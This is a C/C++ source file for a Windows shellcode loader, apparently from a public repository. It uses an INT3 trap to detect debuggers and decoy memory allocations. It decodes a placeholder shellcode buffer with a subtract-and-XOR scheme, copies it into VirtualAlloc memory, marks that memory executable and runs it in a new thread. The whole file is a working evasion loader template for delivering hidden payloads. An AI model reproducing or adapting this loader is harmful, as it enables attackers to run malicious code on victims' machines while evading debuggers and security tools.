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109 lines (99 loc) · 9.41 KB
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#include "code.h"
#include "lazy_importer.hpp"
#include "winuser.h"
#include <string>
#include <cstring>
#include <ostream>
#include <stdlib.h>
#include <stdio.h>
char* c16memcpy(char* s1, const char* s2, size_t n) {
return static_cast<char*>(memcpy(s1, s2, n * sizeof(char)));
}
void* MMcpy(void* dst, const void* src, size_t len)
{
char* ch_dst = (char*)dst;
char* ch_src = (char*)src;
if (NULL == ch_dst || NULL == ch_src) {
return NULL;
}
void* rest = ch_dst;
if (ch_dst <= ch_src || (char*)ch_dst >= (char*)ch_src + len) {
while (len--) {
*(char*)ch_dst = *(char*)ch_src;
ch_dst = (char*)ch_dst + 1;
ch_src = (char*)ch_src + 1;
}
}
else {
ch_src = (char*)ch_src + len - 1;
ch_dst = (char*)ch_dst + len - 1;
while (len--) {
*(char*)ch_dst = *(char*)ch_src;
ch_dst = (char*)ch_dst - 1;
ch_src = (char*)ch_src - 1;
}
}
return rest;
}
bool Tesbuer()
{
__try
{
__asm //x86 implementation
{
_emit 0xCD
_emit 0x03 //INT 03
_emit 0xC3 //RET
}
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
return false;
}
return true;
}
int Testms()
{
char* garbage = (char*)malloc(10);
for (int i = 0; i < 10; i++)
{
garbage[i] = rand() % 256;
}
return 0;
}
int start()
{
if (Tesbuer())
{
Testms();
return 0;
}
else {
DWORD dwThreadId;
// 线程ID
//HANDLE hThread;
// 线程句柄
DWORD dwOldProtect;
//char shellcode[DATA_SIZE] = { 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};
char shellcode[DATA_SIZE] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
DWORD size = ((PDWORD)shellcode)[0];//size
HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);
char* tmpptr = shellcode + sizeof(DWORD);
char* llm_ppVoid1 = (char*)VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_READWRITE);
for (int i = 0; i < size; i++)
{
tmpptr[i] = (tmpptr[i] - 1) ^ (i + 1);
//printf("0x%02x,", scode1[i]);
}
c16memcpy((char*)llm_ppVoid1, (const char*)tmpptr, size);
Testms();
VirtualProtect(llm_ppVoid1, size, PAGE_EXECUTE, &dwOldProtect);
WaitForSingleObject(CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)llm_ppVoid1, NULL, NULL, &dwThreadId), INFINITE);
// 一直等待线程执行结束
while (1)
{
Sleep(12000);
}
//return 0;
}
}